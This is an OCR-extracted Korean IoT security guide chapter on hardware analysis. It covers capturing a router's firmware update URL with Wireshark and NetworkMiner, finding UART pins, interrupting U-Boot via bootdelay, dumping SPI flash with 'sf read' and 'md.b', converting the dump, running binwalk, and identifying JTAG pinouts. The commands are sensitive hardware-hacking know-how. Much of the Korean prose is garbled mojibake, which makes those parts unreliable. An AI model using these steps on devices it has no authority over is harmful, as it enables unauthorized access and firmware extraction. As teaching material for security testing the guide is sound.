Port Mirroring &7

oo
ipW IME aso0ans

Sniffing G

B somuy
BT

s

o

Firmware o L
% Port Mirroring: ¥4 APS S3t5H=

SE m3E N

2 126. ZE 0|23

2HolE Izl ALE2 ZE 0|28 7|s= X &sts 74 AP S O[8d Uiy 7|7|7t =nte Hellof 22

&lSots SEOICh F4 AP O ZE D[2{3 3 278511 Of2f{et 20| APP It Web OfZ 20| HHOIE 7|52

&8 M AP E Ststs HRO TH2EE 8% URL £+ HO S BN 5= UCL.
= | = .
i Yadlojc

}'HEO = -'0_‘“01 |-5§7|-§ A R A 11982
G L2 &3= #iel 71t 2ol B0E 2 oHE W 2020.01.22 16:55:32
HEO 2 6 0|E514 L.
8 it Hoslocs =% ¥zelo|=
2210 Hu@ Ba0d 2o TR 14162 7+ B PELD
A

MZE HUOf B H:

7H W =FHAE

Modifications and Bug Fixes:
1. Improved performance and stability of
cloud recording.

2. Fixed some minor bugs.

Wer11.58.2

a8 127. M "N YOo|E
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10.2.2.2. ©fZ! AL|H

A|A QIO YEI0|E Al 7|7|& BYUOE CHRRE HO|X|O| A 2Ot ALY, ME{O|A BIO|H2|S CHRRE e},
CHR 2T HO|X|0flA B0t HS Request URL £A & CHRZC URLS ES58}0 ZCIAIIL MY CIR2C
BhS 4 QUTH ME{OA] HIO|H2|S CeREdle HQ ®Eo| T2 08810 X3 YEYI |AS =

SHO{OF ottt

Step 1) |4l HRO| AHO|E Tl Al Wireshark & S35l Request URI & 2 5% 5= ULt

[ |htl|3 X] '] -
Mo, Time Source Destination Pratocol  Length Info
42 7.742809 Ok e FS I R HTTP 55 Continuation
’7 69 18.136289 o OREE ] oS I SR HTTP 583 \GET /il Line_iapoec- o liulinds sl _33_382 . bi
< >

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/sign.. *
Accept-Encoding: gzip, deflate\rin
Accept-Language: ko,en;q=0.9,en-US;g=0.8\r\n

> Cookie: _ga=GA1.3.1985845735.1661231573\r\n

Arhn
|rFu11 request URI: hﬁp:/iM““_“Wl
[HTTP request 1/1] v

1% 128. Request URI

Step 2) 253 Request URI O] 23l HAYOE HH22E &= 5 ACL

& (I.)& downloacgmem cokr Al &

2L

HMEBHA A EH M

el wd Wi B2 bin | 458MB
C¥Users¥ 11 ™wDownloads

[ | cresE 2HET 27|

o2 ojgos WY

gl 129. "o &5
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10.2.2.3. HES3A 13l H=
WireShark 2 =& 3%t 2H0|E 17l NetworkMiner =& 0|23l
AHIOIE THZ] AN = pcap SHALE MENSIO] K ESHCL

Step 1) YUIOIE T TN = pcap 422 YO

Heof Bio|a| mYU= wHEkE 4= QUrt

(W] 5eply a display fiker - <Ctl-7"> =~ 4
Mo, Tirne Source Destination Praotocol  Length  Info =
4 0.4 - - - = Ack=1 W |
5 9.4 M wireshark - Save Capture File As x 2 Win=51__
Z im0y [ M B0 vl @F @ |
7 8.47 Ack=1 k=]
B ; LA SH: FF0| ASLICL —
: 8 0.47 % AT ER0 2= Ack=1 b=—
90.40  =mm 2 Win=51"
== T —|
< >
Frame 7: 54 o =
Ethernet I1 Hi =t
Internet Py =
Transmissi "
EERE]
W pC
Lé OH OI2(NN: |Netwurk_Durn|J| v| I HEE) I
74 e5 = THEL EH AT i - + i+ i+ % =
a0 23 yE2 I AT |W|resharkftcpdum|:f..‘ pcap (= dmp,gz;=dmp, z5t+ dmp, 124; v| =
88 a2 EEE(H)
88 1d [ Compress with gzip
173 130. UHO|E ! AN
= .
Step 2) NetworkMiner 2 A3 stCt,
<« NetworkMiner_2-7-3 » MNetworkMiner_2-7-3 » v | D MNetworkMiner_2-7-3 34
0 ) SEE LT EE 37|
AssembledFiles 1 2% 255 Iy
Captures 1 2% 2:58 It
CleartextTools 1 2% 1242 I &l
Fingerprints 1 2% 1242 O £0
Images S= 242 ItE E4
H 20 2= 719 mu J9KE
&N MetworkMiner exe o= = 58
&N networkminericon.ico 25 6 Ot 12

12! 131. NetworkMiner &

Stpe 3) [ File - Open ]0A WireShark 2 X &t

B8 MetworkMiner 2.7.3

File | Tools

Help

|j Open Ctrl+0 >

£} Read from PacketCache
Receive Pcap over [P Cirl+R
Exit Alt+F4

edentials Sessions DN

gl

pcap

Metwork_Dump.

eyvwords  Anomalies

ot and Hefresh

12 132, pcap oY MEH
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Step 4) pcap ItY0| YEZEL|H NetworkMiner = I{ZIS A3 Ti2lo| 2 & ot o[0X], AE & &2
s EOECE “File” RIOIM TIEH 7|7|2 22 E & EY0{(bin) THYS =ole 5= ACL
48 NetworkMiner 2.7.3 — ] *
File Teols Help
——- Select a network adapter in the list — ~| | B  stop
Keywar Anomalies Case Panel
Hosts (é@FileS(l)llmages Messages Credentials (1) Sessions (7)) DMS (16) Parameters (43) Filena,,, MDE
Filter keywword: ~|[] Case sensitive | ExactPhrase | Any column « | Clear || &pply | | Metwor,, 987301,
ame nr,  Filename Extension 3ize Source host
Lo L EP[T]bin bin 49021 004 B T PEL SR W [download, === co, kr] (Ll
< > Reload Case Files
Buffered Frames to Parse:

=l
2!

2 133, T ZI0j| A

=
=

3t =

[

H

o

Step 5) =% HY 0= [R2E2 - "Open folder'10i|A| =9l 7hs5tCt,
%% NetworkMiner 2.7.3
File Tools Help

-— Select a network adapter in the list ——

keywords Anomalies

Hosts ¢24) Files (1) mages Messages Credentials (1) Sessions €7 DNS C16) Pararneters (43)

Filter keywnrd:| v||:|CaSE sensitive | ExactPhrase < | Any colur Apply
Frame nr,  Filename Extension Size  Source host

Open file

5 Open folder |——b-

Copy path to clipboard ; r 4

File details :2[1].bin

Auto-resize all columns

J8 134, 58 HYof

+) SF MZAte 22 A BOI7} oftl YEO|E0] WY A Hio|Lf2| Mt FLIt ULk 0] FL
B0l T2 oIS HS3 HYOIRE B0 240 Ho| YUch

application/octet-

- Firmware 1.0 (router)
stream

Size: 46.75 MIB , Type: application/octet-stream

filesystem/jffs2

Firmware 1.0 (router) | /38.jffs2
Size: 46.75 MIB , Type: filesystem/jffs2

filesystem/ubifs
1849329295_vol-rootfs_ubifs.ubifs
Size: 40.69 MIB , Type: filesystem/ubifs

Firmware 1.0 (router) | /480038.ubi | //480038.ubi/img-

a3l 135, A "o
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H&E galloof= o

AlAo0| meh|of UX| BALt.

Summary including results of included files

Item count

application/octet-
stream

test_Vendor test_Name - update_firmware 1.0 (router)

Size: 1.40 MiB , Type: application/octet-stream

a8 136 YR HSE HAUA
10.23.C|H1 ZE
Hellof =& 2 O e
B No
 oARENY  owdosmn AUy @M ZEUART JTAG) _SEaNn=A Bz
1’ 3 rjol= 1 M1 zE 3
3 X I5R2 e e ¥ ;
| i f ! | i i
! ‘ EE] ‘: ‘ UART ZE A" ‘ ‘ JTAG EE A= ‘ ¥
BUALY ‘ efols w1 ‘ ‘ i T ‘ I
‘ T ez ‘ ‘ Teol 2 } ‘ B 35 ‘ B0 x2 |
‘ YO 24 ‘
a3 137. ®9llo| &S/57E S8 - CH1 =ZE
ClH1 ZEE= Y, M CHAoN 2F HAlol HiM X 7|52 HASH7| fI8t ZELCE LB ZE£& SHEQOf
B4 & 20|k kernel, booting, error Of 25t C|H 1 H|A[X|Z =35t Lt Boot Loader O F25H7| ¢[ot 82
A2 ofCt H[QIZLXLZL Boot Loader Of 2 7tsd 8% o9 HYO F=Z, 70| 7ts5tCh tHEZEQ
Cle 2 EEE UART of JTAG 7t O'Er

UART Debug Port

Jriifii

i
4
l_'i R459

R375 [ 064
R369 g

JTAG Debug Port
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10.2.3.1. UART

C79
R32[% 7]
C76(%]
RIGIEE

UART £ #8 H|&E7| &417|(Universal Asynchronous Receiver / Transmitter)2| 2XtZ2 &= FX| 7+ Z 2 (Serial)
HO|EE wmetsty| @It T2 EZO|Ct UART £ TX, RX, GND, VCC & 4 7HQ| E& Atgsta, H|o[g &40 TX,
F=410i RX £ 0| 83tct

10.2.3.1.1. UART ZE A&
CIH1 ZEE= AYXHPCB Legend)S 2HOIs}
HEE ®M3st7| /s pc 7[&of 2 =
AH83t= TX, RX 7t EAIZ|0] R0 UART &4l =

BEABHF10 ALY,

12! 139. UART £E Al
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PCBOfl OF2io] #7|7t EXe 4 Hro| AF A 8l0| [ ZE EXO| £ E =olg &= At
PCB Legend ZE MY
Debug, Debug port Tl HYHofl 2} UART, JTAG CIH{1 ZE
UART, TX, RX UART ClH 1 ZE
JTAG, TDI, TDO, TMS, TCK JTAG C|H 1 ZE

a2 g 5= A= AEXHPCB Legend)= L1t 2Lt

B o|oj B o|oj
C Capacitor M Motor
R Register Q Transistor
D Diode S Switch
J Jack P Plug
JP Jumper TP Test Point
L Inductor u Inseparable assembly(ex.IC)

o

HEo| pCB AEHAI}L Qs 49 E & 5 IHEQ HIEE 8¢l Ll ZEQ| EXf FFE TEte = QUCH
HEXSZ UART £ VCC, GND, TX, RX 4 7HS| ZEE AtEdl7| &0 4 72| EO| LI2tg| ?

B T T T R e P T

;t:ﬂ

]
il

13 140. UART ZE 4

UART £ 9ot &2 HE 20|= GND, TX, RX 3 7{Q| H 2t EXStHLE TX, RX 2 7He| Bt EX|St= 427t ULt
H [e]3
= I:I

= =
T FEER = B ZEHAHE O|85) WY, TF/RE F8010] © A4S A EolfoF oiCt

UART QIE{HO|A ASE ot MALZ 71 HA HX|(GND)E Al =80 STt TX, RX, VCC £ Al"Hsl7| Qs Mg,
HMY2 FHO| ™X| 7 HEA| 2L35}7| IfF0|C}.
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1. X|(GND) Al
HE|EAEHO S =20l 7|52 AFESIY HX|(GND)E AlEe 4= UCHL EX =9l

s2&X gdote 7IS0Ith 7|50] g

B —||_7|%
~

o
4otz JENOIA Red T It Black & AOJOf TR} S5 42 41

o
= 8% of2fet 20| Mut 7|22 ®7|=0] ULt

| &
LY EHAHOAM 7|5 K-S
i > 5 w ".‘

PCB 7|Zto| TMX|IE2 ME AZL|0 U0 MEIt SECLCL PCB 7|20 /}= X T SILIE 0|28 UART ZEQ|
=13

GND & 422 + U} Of2f YYHOR ABE|E PCB o X S=0|ch

a3 142. PCB 7| 9| ™X|E

Case A8 'y 4%
1 GND Al &EHX} AHXHPCB Legend)2 E7|E HX|(GND)
2 B LEE 35 £E SD Card U5, = SHHL 352 YHH o2 HX|
3 Via Hole aE2E WE =FE Hole 2 E53 SR 2 HX| 2 ALSE
4 Chip &£ 2X}(Capaciter) MCU, Flashmemory 52| £X&52 GND £ At8dtEs TO| EXY
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2. UART T A&

2 SEOAM AL 7tsT "XI7L A= ZF, OF2fiQt 20| UART 4 TO|A FX| HZ AES 5= UCH TE CHY
717|(AFED2] UART 4 Bl 5 7tH2h of2ff f[X|gh O] MX|2 HEHE|RACE (x Of2 ALZIOA TRO0| 7HE MEf2
Fcts SR oL MRAZ QAZWSHA| . TICHSH= Z40| eHESICt)
X E 7|22 CHE To| MYl MFE JHYoHL gXE2 25 AZE0 A7| W20 UART Tl ®X|Lt PCB
71Ol A & OFFAHLE AFESH = F2SICE @ AFTIOAM 7t fe] S 1, 71E of2jo TS 4 HEO|2t HS
m 2r mo| MYt MFE T 442 or2fet 2Lt
T2 HEW) H{mA) | © H9g g 54

19 & 33 HAl 27t VCC Lo MY, JNeE =2 HF

29 H 26 ~33 24.67 TX M HES(2.6V~3.3V)

3E 0 0.03 RX VCC, GND, TX E XM elstn &2 T

4 H o - 0.02 GND HE[HAH "8 20l 7|22 A8
MY, M7 B U2 0|8l &4 Tl IS e == UCE 1 H H2 MYo| 33V E YHSHA s3He|0 MFIt
=4 fXE0f HeZ3E st VCC 2 FHE £ UCE 2 H2 26V 2 3.3V ALO|E ZISSIHA| ZL0] Hatstof
HOIHE &AstE X2 958 £ UCL HX|(GND)Q! 4 & S FHestn He 3 g HO|HE $4A5ls
RX 2 Al o= QUCt
Ofgff FH|= HEo| AlHX}(PCB Legend HAEZ UART H2 AlYst= 1780 ZRSICH PCB S0

TE
g
o
1

El
2| X|3t Via Hole € MX|(GND)E &1 Z+ mo| Mt M3 E =X™BiCt
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— ?11
—
H

B eeacan

& (V) H{EmA) | © HE |F =

1 0~3.3 7.96 TX e HE0V~3.3V)

2 3.163 0~8.8 RX VCC, GND, TX M| |5t 2 &, HjiE g

3 33 8 VCC et MY, diEeE =2 TR

4 33 8.1 vCC et MY, diHeE =2 TR

5 33 0.07 RX VCC, GND, TX M 2[5t g2 T, HfE 13

6 2.6~33 7.7~89 TX MY HES(2.6V~3.3V)

7 0 0 GND HE[HAH "ST =2l 7|[5'22 A8
Zd A0t 7[greto] X 2 FEE= HE2 19, 6 HO|CE SHX|H X TX = 6 H HO[ULD, 1 ¥ T2 UART 7+
oftl CtE 8EE AEEl= TOIRUCE O|[MEH MU0l A HSst= TO| UAOI= UART 7t Ot 7hs5-d0| U0
Fo|7t HQstrt.

10.2.3.1.2. E{O0|'2 ¢4

1. USB to TTL

UART & A/H0| 2tz & HEfOIM EO|ES AZASH7| I USB to TTL HHE 2= O|&%HCh USB to TTL
AHEH 252 Al2[¥ S4121 UART E PC o| HO|E&2 H26t7| fIst &H|0|H FTDI 0|2t =2|7| = Bt}

113 145. USB to TTL
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USB to TTL ZIHE ZEE FZ CP2102, CH340, FT232 £9o| &E A3, At ©™ ZF o sidst=
CElo|HE MX|s|jof otCt HE&0 AMESH= USB to TTL ZAHEH &2 CP2102 & ey
E20|HE MX|stn USB E PC O HZSHH ofzfet 20| X7t QA= A2 ol o= QUL

A TH BT N
YR SEE) 2V ESUH)
&= mHE =

> m MEE ER
> 0| 202 g 2 5
= EH 072

ZE(COM & LPT)
ﬁ Silicon Labs CP210x USB to UART Bridge(COM3)

iigﬂa
> i B SEHEOIS FA
1% 146. USB to TTL PC &1 =l
DE0| FYHoz QAME 2, ZCH T4 THIQH USB to TTL AHE 252 HAZASCH XEH O FH|o| /0|

=
=] “'ROJ T2 TX, RX, GND O|H ZIGH CHa EH|QF USB to TTL
4

USB to TTL
i

QT
EIEICHAT (7]

% 147, Tt Y 7]712F USB to TTL HZE

HA 64 o2 PuTTY o 242 HOEd 23S 0| 8oliM =olgt &= QUL PuTTY HAH IHHOA “Serial
line"Ofl= FX[ Z2|XtOA =QIBH USB to TTL HAHE ZE2| ZE(COM3)E YHSIL “Speed(Baudrate)”of =
9600, 19200, 38400, 57600, 115200 & Y 2lQ| 7S YTt S "Open"S S2I5I0] HZABICL
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#& PuTTY Configuration ? x

Category:
= Sessinn Basic options for your PuTTY session
""" Logaing Specify the destination you want to connect to
=1 Terminal

Keyboard Serial line Speed
Bl coM3 38400

Features Connection type:

(O8SH  ©Seral (OOther:  Telhnet v
Appearance
Behaviour Load, save or delete a stored session
Translation Saved Sessions
+- Selection
test
i Colours ) )
=I- Connection Default Settings [ Load |
i Data
Proxy Save
SSH
Serial Delete
Telnet
; Rlogin
- SUPDUP Close window on exit:
O Mways (O Never @ Only on clean exit
About Help Open Cancel

12 148. PuTTY 2 0|83t A
2. Baudrate &|'¥
TX, RX, GND 7} &XM o= HZAL|0f QACHH of2fjet 20| HO|d &0 ZXAtE0| ZHEICH ZAt7F MMM 20|&
A ANe|g&A& =0l Baudrate37h TITH T4 7| 7|9t Ct27| WHEO|LC},

EF COM3 - PUTTY - O X

— |
a8 149. AIEI°‘ Et %Eoﬂ mE xf°" WE s

Buadrate & ZICHCHY 7|7|0tCH CH20] AP OZ 9600, 19200, 38400, 57600, 115200 ZtS ARSEHCL.

PUTTY Ol M Speed & =AH L2 BIZSI0 FHQ EZAE0| ESHE[=X =HQlotch TIT O TH[QE A2 E
Stl& 2 (Baudrate)7t EX|2 F2 ofefiet 20| oMl ZAHE0| =H &Lt

&P COM3 - PuTh - 0 X

3120 # 72| HIGH/LOW MBS E B4 ZH0IX| Mol
[Baudrate List: 110, 300, 600, 1200, 2400, 4800, 9600, 14400, 19200, 38400, 57600, 115200, 128000, 256000]
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3. Shell 2
MNZ=Ato] 2t UART QIE{H|O| A2 Boot Loader Off HIZ g = U= E27t
d27F ULt Boot Loader 2| H|QIZHA} HZ22 HOt o F{ofst2= E

HMetstan QUCt.

[CASE 1] E= 7| Y= S 2O Shell T Y
28 00 Shell ZIYO| 7tset 8%, £8 2I0M EF 7|8 €8 = FU0| EXfHC;
Z 30| A “press magic key to change default setting” HA|X|2 E3t key & 7
= UCH ot Mz=Are| 8% 278 HEE It key 7t S7HE0] U= HEZ
x| ©

I20] 7}S3tLt.

—

£ COM3 - PUTTY - O *

£
32 151. magic key ¥

[CASE 2] Bootdelay 0 2
Otz TIEH CH 717|12] B2 bootdelay & 0 22 HF5I RFEZHO| Y5t ot 7|EE LS St FHO|
MEE7|z Hof| £EO| A|ZECH

1% 152. bootdelay 0
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0| 8% £3YEE AYstd, #EO| =[7|H0f| FEZC{ 0| TYst7| et LHE AE HESIo REZH TYS
AESHE == ULt Ot2f= python serial ZES AHESI0] UART & ¢t 2 XMooz YHZ TS0
SEZM MY d52 o AlOICE (7] 7|0f et £ - Tl SETt et Ot = R E EXY)

UART Load Env CRC OK

UART In: serial

LUART Out: serial

UART Err: serial

UART no hold the upgrade button down, button wvalue is 1

UART let: AKEthernet-@

UART

UART Hit any key to stop autoboot ]

UART a

UART anykak

a3
Eg
o=

153.
FEZH MY 55t =B FERH F 0|%3P0:| bootdelay SEH+S HEY 5+ ACL o] P2 2F

o
QoM Zhd st AFZE LY read/write BH S 0|23810 RIS =ICt

1% 154. printenv BdZ &% bootdelay =9l

a3 155. setenv @S ST bootdelay 8

71718 MRSt HOlE EHS QASHEH bootdelay 7t +=8=0] O REAH REZHO TYY 5 ACL

tition table init OK!

1 down, bu

- 10

12 156. bootdelay 7 &9l



10.2.3.1.3. HYJlof F
UART 2 38} Boot Loader O B2 7}538t ZS Boot Loader 0|2 0|R3}0] Y 0| =X0| 7}53iCt.
o2 7 'help, 'h' YOS 8 AR JHs3h WO =QI0| JHsstH UE KZEALS] A HoHS 3|

olH} &
=2 = "
715 Mot &= 8271 ZHsto] =22l0] HastLt.

SiRf| ZITH CH& 7|7|= Boot Loader Q1 U-Boot Off M2 &= U= HEHCt Boot Loader 2| HHOE 0|83
HZZ[RAM)O| HIOE ZEstn 0| HIslo HYOE FEY = QUCL Kali Linux 20222 HHES
A2t o P2 ofaefet &Lt

Step 1) Kali Linux 2| HO[ 20| M picocom(A|2|¥ &4 HO|E) g4 L 225 &7t}
"--logfile” S-S ALESIH HO|H0| £35|= {80 20 HEfZ XMEECL

$ picocom /dev/ttyUSBO --baud 57600 --logfile uiot_firm_0905.log

Step 2) £ & 20| A Flash memory(Z2 2 F: FM25Q64)2| SPI* bus & 2 QISICt spi0.0 = 8 S Flash memory 7t

SPI S0 0 A 0 XS AH8ot1 ASS 2|0|stLt.

#HEl 2 0| A2 SPI bus M &
ak-spiflash spi0.0: FM25Q64 (8192 Kbytes)

Step 3) £ 80| 22 E = Boot Loader(U-boot)0lAl Flash memory(SPI device)E M 0{5t7| Il sf FHAE
AH8 3t

# HAO 7t X ZE Flash memory 2| SPI bus 41 E#(spi0.0)
$ sf probe 0

# RAM 2| 0x82000000 Z=20f Flash memory 2| 0x0 £E 0x1000000 2t
# CH 22| RAM O A 0x82000000~0x83000000 ALO| FAE R E F
$ sf read 0x82000000 0x0 0x1000000
SF: 16777216 bytes @ 0x0 Read: OK

o DIJJ
>_

L 0
fufot

ol

N

or

Step 4) RAM Off MZEl 72 HZotroh

# RAM 2| 0x82000000 £ Ef 0x1000000 Et=F2| SEE & (picocom 2L}t FX&|0f 7| &)
$md.b 0x82000000 0x1000000

oln
—I)l
re
0>|
>t
e}
ofm
=
els
N
40
e
ikl
Y
ofm
=
E
o

4 SPI(Serial Peripheral Interface): Flash memory
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Step 5) 0|2 T2 = Step 1)0|A MES 21 DA A hex 2t FE3}0] binary T 2 BHBHSC}

# 2O0A0M mdb S Melet 228 HAE =35 HA
# QLEANAN LR EE git clone https://github.com/gmbnomis/uboot-mdb-dump.git
$ python3 uboot-mdb-dump/uboot_mdb_to_image.py < uiot_firm_0905.log > uiot_firm_0905.bin

Ac Al

RAM Of

-

d = Binwalk £ 0|83 ¢ & O{FE =g = ACL

T A
/home/kali/IoT/uboot-mdb-dump
"97.bin
'.bin: OpenPGP Secret Key

/home/kali/IoT/uboot-mdb-dump
mmm_aled . bin

DECIMAL HEXADECIMAL DESCRIPTION
121860 0x1DCO4 CRC32 polynomial table, little endian
208896 0x33000 ulmage header, header size: 64 bytes, header CRC: 0x3C
42:50, image size: 1417536 bytes, Data Address: 0x81D08000, Entry Point: ©0x81D08040,
, CPU: ARM, image type: 0S Kernel Image, compression type: none, image name: “"Linux-
20896 0x33040 Linux kernel ARM boot executable zImage (little-endian
22316 0x3678B xZ compressed data
22338 0x36898 xzZ compressed data
1658 ©x195000 Squashfs filesystem, little endian, version 4.0, compr
3 blocksize: 131072 bytes, created: 2020-07-10 02:59:39
2 @x27200C JFFS2 filesystem, little endian

a3 158 B4 =& € Halof

A HolE 7t GiALE FE0| MU 2 =|X| g2 B2 Binwalk OlA] §E7F EAIZ|X| G=C

Lol_
/home/kali/IoT/uboot-mdb-dump
.- u_Ran .bin
v.Din: data

/home/kali/IoT/uboot-mdb-dump
- = s BEEN.bin

DECIMAL HEXADECIMAL DESCRIPTION
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(1) U-boot Boot Loader BHO| & EHZAHSE
Ot2f= YUHIC|IE CIHO|AON =2 AfRElf U-Boot 2| HHO{ 2} 2td M= 2| AEO|LC}

B k] B
? LY
bdinfo board Of et §E E(H 2| F=&, 23, MAC S) -
E: coninfo At8 7Hs 3t console &K &= -
= flinfo Flash Memory Off L3t §&2 =3 flinfo N (Flash memory bank)
iminfo Image Header & £3(0|0[X| 0|&, TF, 37|, 43 4) iminfo addr [addr ..]
cmp XIEet /1X12] memory 2 &S H| cmp b, .w, .I] addr1 addr2 count
cp X8t memory 2| LIES SA cp [b, .w, 1] source target count
md X’83t memory 2| HE2 2tHO| = md [.b, .w, .I] address [# of objects]
o2z mtest RAM read/write H| 2 E (Flash, ROM S0 A2 SHH fail) mtest [start [end [pattern]]]
A mw memory £ 7t 27| w [b, .w, .I] address value [count]
nm memory 2| &Y FA0| gt #HE m [b, .w, .I] address
loop memory 2| £ HHAS reset 7| MIK| ghs A3 loop b, .w, .I] address number_of_objects
mtdpart MTD partition table Q! & =4
primeny | 2014 B i
%};j:j# setenv saHs 43 z::::: :::: value ..
saveenv SHHHFE flash O X ZStC} -
run 0| 2o LS A run var [..]
sspi SPI utility commands -
Flash
sf SPI flash sub-system
memory
imls list all images found in flash
boot bootemd 2| #t2 AFESI0] A|AH REIS AE}
bootd Bootemd &M= It ALESI0] 28
t;j;j bootm x| d2t memory £ image £ £ & bootm [addr [arg ..]]
bootp boot image via network using BOOTP/TFTP protocol
tftpboot - boot image via network using TFTP protocol
U-boot St IIs
bootargs g0 g7|= g
Bootcmd U-boot £ & 0|F M|z HH ZAE ("bootd" HHOZ Al
Bootcmd?2 "bootd2" HHoZ MFPE A|HATL HAE
bootdelay U-boot & = “bootemd" 7t A& L[ 7|7HK| 2| X|H AlZt
baudrate Baudrate of UART. O| Zt2 HI0| U-boot 2| baudrate & HtE = {UCH
ethaddr U-boot 2t uClinux 7t AHE3l= Ethernet address
ipaddr U-boot 7t AH& S} IP address
serverip TFTP server 2| IP address
gateway Aol E=0|
netmask diotA3
bootfile TFTP 2 ChREE Y= I 0|5
lcdlogo1 ~ lcdlogo4 LCD 2 Z3E[= AR 873

Icdcontrast

LCD 9| contrast 2| 2f2 HZA
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(D) 28 215 0|83 HE IS
UART 2 SH0I8t 4 9= 28 2 983 YuS HSeh BYol £2 M 29 212 Mystol 2al ¥=
2ol5t= A ALt 28 Z200|M 2ol &= A= =2 FE = o2t 2
g By BE 23 04|
Boot loader U-Boot 1.1.3 (Oct 23 2015 - 16:03:05)
NAND Device mtd->writesize=2048,mtd->o00bsize=64,mtd->erasesize=131072 devinfo.iowidth=8
Please choose the operation:
o 1: Load system code to SDRAM via TFTP.
Setting &4 2: Load system code then write to Flash via TFTP.
Ex olg 3: Boot system code via Flash (default).
(B8 7] ¢43) ; :
4: Entr boot command line interface.
9: Load Boot Loader code then write to Flash via TFTP.

Booting Kernel 2+

3: System Boot system code via Flash.
## Booting image at 81000000 ...
Image Name: =01.01.02.090

Image Type: MIPS Linux Multi-File Image (lzma compressed)
Data Size: 19062732 Bytes = 18.2 MB

Load Address: 80001000

Entry Point: 80001540

Contents:

Image 0: 1966004 Bytes = 1.9 MB

Image 1: 17096704 Bytes = 16.3 MB

Verifying Checksum ... OK

Uncompressing Multi-File Image ... OK

## Transferring control to Linux (at address 8000f540) ...
## Giving linux memsize in MB, 128
Starting kernel ...

NAND ItE| M

Nr Device Start Length Name

1 mtdo 0 1,024 Bootloader
2 mtdl 1,024 1,024 Bootloader2
3 mtd2 2,048 1,024 Config

4 mtd3 3,072 2,560 Envl

5 mtd4 5,632 2,560 Env2

6 mtd5 8,192 32,768 Kernel

7 mtdé 40,960 32,768 Kernel2

8 mtd7 73,728 28,672 Storagel

9 mtd8 102,400 28,160 Storage2

init started: BusyBox v1.23.1 (2016-01-22 15:02:56 CST)

[ 5.052000]
[ 5.056000]

UBI: attached mtd8 to ubi8
UBI: MTD device name: "Storage2"
[ 5.352000] UBIFS: mounted UBI device 8, volume @, name "mtd8"
[ 5.356000] UBIFS: file system size: 23744512 bytes

(23188 KiB, 22 MiB, 187 LEBs)
[ 5.364000] UBIFS:
(1116 KiB, 1 MiB, 9 LEBs)

[ 5.372000] UBIFS: media format: w4d/ro (latest is w4/ro)
[ 5.376000] UBIFS: default compressor: 1zo

[ 5.380000] UBIFS: reserved for root: 1121511 bytes (1095 KiB)

journal size: 1142784

bytes
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10.2.3.2. JTAG

1% 160 JTAG ZE

JTAG £ PCB ‘44 SHO|A & ALO|2] HZYEHS HIAE(Boundary-Scan)ote SH2Z AFEE|0] W, diXl=
ojg{gt 7|5 2lo= HIO|EHE MO{st CiHPsts #E fA2=Z 20|21 ot JTAG AHEO[AF O|E5HH
MCUSoQ) & 2| Z Pin LEIE ZLIEZ StAHLE B

752 AH8otE HE2|o MZE HoHE &1 & 5

TMS, TDI, TDO, TRST 5 7H2| TS A3t}

TEE Line by Line 22 C|HZY 4= AUCL JTAG CIH Y

A0f, A FZ2k H=Tt 7hSOIEL JTAG = S40f TCK,

Al XH(PCB Legend) s oY
TCK Test Clock TMS, TDO, TDI GIO|E S7|3t0f| At &= 23 LM
T™S Test Mode Select HAE ZE MEH TAP ZHEE2{ 2| HEHE H|Of
TDI Test Data In YKz MEE= HolH 9
TDO Test Data Out ZX Q| Moy =
TRST Test Reset TAP AEE2{E XA (Optional)
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10.2.3.2.1. JTAG ZE Al
JTAG = FE 4~20 709 TO| 1 € £z 2 €2 LIES| HiX| k&= HElE =Lt §3, JTAG = PCB 7|2
H| A E(In-Circuit Test)SH=0| AR E|2 2 “TP(Test Point)” M%‘XPE HI|E 22 JTAG ZEY 7%““0I =L}

1. MCU O}7|=l X &tol
JTAG & 717|2] MCU OtZ|ElXof a2t Cle Ao 2ast &H[7F FHatRIC MCUSoC)2| Data Sheet & 2215t
oA HHE 215%+= 40| L}

0

12 162. JTAG ZE Al

ZICH CHA 7|17|= AK3918 RS AtEstn U, QU MOAM HO|H A|EE =g = QUCH HIO|E AIEO
IE MCUSoC)= ARM OFZ|HIME ARSI QICt OF7|[EHIMHE 20lst 0|F0|& Well-Known JTAG

<]
Pinout 2 T 15t0] FAleh FEHS| T B EO| AU=X| =Holottt

—

_—
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AK3918 SPECIFICATION

3.4 CPU core

The CPU core is a microprocessor named ARMS26EJ from ARM Limited. The
ARMS26EJprocessor is targeted at multi-tasking application

here full memory management,
high performance, low die size, and low power are all im nt. The ARM926E. processor
supports the 32-bit ARM and 16-bit Thumb instruction géts, enabling the user fo trade off

e ARMS2BEJ processor includes
features for efficient execution of Java byte codeg, providing Java performance similar to JIT,
but without the associated code overhead. The ARMS26EJ processor supports the ARM

between high performance and high code density.

performance processor subsystem,
|-an ARMS26E integer core |
-a Memory Management Unit (MMU)

-separate instruction and data AMBA AHB bus interfaces

% 163. MCU(SoC) HIO|E| A|EE &3t o7|Hl X =9l

2. Well-Known JTAG Pinout
QutMo 2 JTAG & AHEO|AE FoiEl EFEO| 27| WE0| 4 7HOA 20 72| JTAG Pin O] PCB O Ctot

HEHE E=X|TICE Of2io AtRluf CHEA 2 Xf HAE 2 EX|T o= QUCH SHX|TH OFF|H M OLCH Xt A &&= H
HYZO| AOf OF7|EI Xt Tl HYEO| LX[St= 42 O|E &g = ULt
ARM-14 ARM-20

1 VSUPPLY VSUPPLY 2
3 nTRST GND 4 5 TDI GND 6
5 TDI GND 6 7 ™S S 8
- e L 8 9 TCK GND 10
0 i L 10 1 RTCK GND 12
11 TDO nSRST 12 13 e GND 14
13 e L 14 15  nSRST GND 16

17 DBGRQ GND 18

19 DGBACK GND 20

AVR JTAG MIPS EJTAG

1 nTRST GND 2
1 TCK GND 2 3 TDI GND 4
3 TDO VREF 4 5 TDO GND 6
5 ™S nSRST 6 7 ™S GND 8
7 - nTRST 8 9 TCK GND 10
9 TDI GND 10 11 nSRST 12

13 DINT VREF 14

3% 164. O}7|HX EH JTAG ZE
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=|:

219 47 0|0 = C}ESH Well-Known JTAG Pinout O] &Xst, ofzfe
JTAG Pinout & AHEDH g 9H 10HE, 14T 20T 7Y g
MEE|E 7|7 16 EO| HEIE =1 0| JTAGulator £ 0|31 JTAG

¥ Well-Known JTAG Pinout =2~ www.jtagtest.com/pinouts/

3. JTAGulator

JTAGulator &= JT Al

AG TS AEY I ME3t=

Z0|C}H PCB O JTAG QIHEO|AZ FHE|=

Well-Known
LR A
StCt.

7 f%ﬁPEh

nE
I:O—v—

ol dZst

o =
